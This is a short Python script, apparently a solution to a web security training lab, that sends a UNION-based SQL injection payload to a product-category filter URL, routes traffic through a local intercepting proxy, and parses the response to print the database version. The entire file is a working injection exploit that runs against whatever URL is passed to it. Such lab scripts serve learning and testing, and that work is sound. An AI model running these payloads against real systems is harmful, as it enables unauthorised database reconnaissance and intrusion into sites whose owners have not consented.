lab-8.py

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
import pyfiglet

# Display a banner using pyfiglet
ascii_banner = pyfiglet.figlet_format("RuhanSec")
print(ascii_banner)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080'}

def exploit_sqli_version(url):
    path = "/filter?category=Lifestyle"
    sql_payload = "' UNION SELECT @@version, NULL%23"
    r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
    res = r.text
    soup = BeautifulSoup(res, 'html.parser')
    version = soup.find(text=re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*')) # our output will be 8.0.35 or 00.00.00 the number can be anything 
    # so we need 2 digits after every point so we have used {1,2} it is for that reason 

    if version is None: # whem it will give no results for that we have used none
        return False
    else:
        print("[+] The database version is: " + version)
        return True 


if __name__ == "__main__":
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print("[-] Usage: %s <url>" % sys.argv[0])
        print("[-] Example: %s www.example.com" %sys.argv[0])
        sys.exit(-1)

    print("[+] Dumping the version of the database...")
    if not exploit_sqli_version(url):
        print("[-] Unable to dump the database version.")